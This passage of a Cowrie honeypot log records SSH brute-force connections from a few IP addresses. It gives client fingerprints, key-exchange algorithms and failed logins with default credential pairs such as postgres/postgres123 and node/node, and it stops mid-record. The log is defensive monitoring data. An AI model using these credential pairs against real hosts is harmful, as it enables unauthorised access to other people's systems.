{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:39.294439Z","src_ip":"91.92.42.227","session":"b3257d31d79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35224,"dst_ip":"159.203.135.109","dst_port":22,"session":"dca0fa6953f5","protocol":"ssh","message":"New connection: 80.94.92.184:35224 (159.203.135.109:22) [session: dca0fa6953f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:39.818789Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:40.276785Z","src_ip":"91.92.42.227","session":"b3257d31d79e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:40.556537Z","src_ip":"80.94.92.184","session":"dca0fa6953f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:40.559186Z","src_ip":"80.94.92.184","session":"dca0fa6953f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:41.690160Z","src_ip":"91.92.42.227","session":"b3257d31d79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:41.979267Z","src_ip":"80.94.92.184","session":"dca0fa6953f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.29149580001831,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:43.232090Z","src_ip":"172.81.62.90","session":"6acf975eef8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:43.290685Z","src_ip":"80.94.92.184","session":"dca0fa6953f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36658,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4c9f745c807","protocol":"ssh","message":"New connection: 45.156.87.147:36658 (10.17.0.5:22) [session: d4c9f745c807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:44.270375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:44.273611Z","src_ip":"45.156.87.147","session":"d4c9f745c807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:44.354546Z","src_ip":"45.156.87.147","session":"d4c9f745c807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:44.611855Z","src_ip":"45.156.87.147","session":"d4c9f745c807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:45.696227Z","src_ip":"45.156.87.147","session":"d4c9f745c807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49590,"dst_ip":"10.17.0.5","dst_port":22,"session":"20192a21b29e","protocol":"ssh","message":"New connection: 91.92.42.227:49590 (10.17.0.5:22) [session: 20192a21b29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:45.891958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:46.254811Z","src_ip":"91.92.42.227","session":"20192a21b29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:46.257867Z","src_ip":"91.92.42.227","session":"20192a21b29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:47.872141Z","src_ip":"91.92.42.227","session":"20192a21b29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:49.573274Z","src_ip":"91.92.42.227","session":"20192a21b29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40568,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5561b4fe8c2","protocol":"ssh","message":"New connection: 45.156.87.147:40568 (10.17.0.5:22) [session: b5561b4fe8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:50.475521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:50.478963Z","src_ip":"45.156.87.147","session":"b5561b4fe8c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:50.565385Z","src_ip":"45.156.87.147","session":"b5561b4fe8c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:50.825902Z","src_ip":"45.156.87.147","session":"b5561b4fe8c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:51.935181Z","src_ip":"45.156.87.147","session":"b5561b4fe8c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49626,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d523bce2272","protocol":"ssh","message":"New connection: 91.92.42.227:49626 (10.17.0.5:22) [session: 0d523bce2272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:52.674846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:52.964330Z","src_ip":"91.92.42.227","session":"0d523bce2272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:52.967400Z","src_ip":"91.92.42.227","session":"0d523bce2272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:55.003490Z","src_ip":"91.92.42.227","session":"0d523bce2272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:56.631760Z","src_ip":"91.92.42.227","session":"0d523bce2272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40582,"dst_ip":"10.17.0.5","dst_port":22,"session":"058c69edd7b5","protocol":"ssh","message":"New connection: 45.156.87.147:40582 (10.17.0.5:22) [session: 058c69edd7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:56.729223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:56.798946Z","src_ip":"45.156.87.147","session":"058c69edd7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:56.894368Z","src_ip":"45.156.87.147","session":"058c69edd7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:57.157676Z","src_ip":"45.156.87.147","session":"058c69edd7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:58.242331Z","src_ip":"45.156.87.147","session":"058c69edd7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53992,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a6e29aab51","protocol":"ssh","message":"New connection: 91.92.42.227:53992 (10.17.0.5:22) [session: 79a6e29aab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:58.807352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:59.624598Z","src_ip":"91.92.42.227","session":"79a6e29aab51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:59.627239Z","src_ip":"91.92.42.227","session":"79a6e29aab51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41234,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fee24907b4f","protocol":"ssh","message":"New connection: 45.156.87.147:41234 (10.17.0.5:22) [session: 6fee24907b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:03.011834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:03.019072Z","src_ip":"45.156.87.147","session":"6fee24907b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:03.112143Z","src_ip":"91.92.42.227","session":"79a6e29aab51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 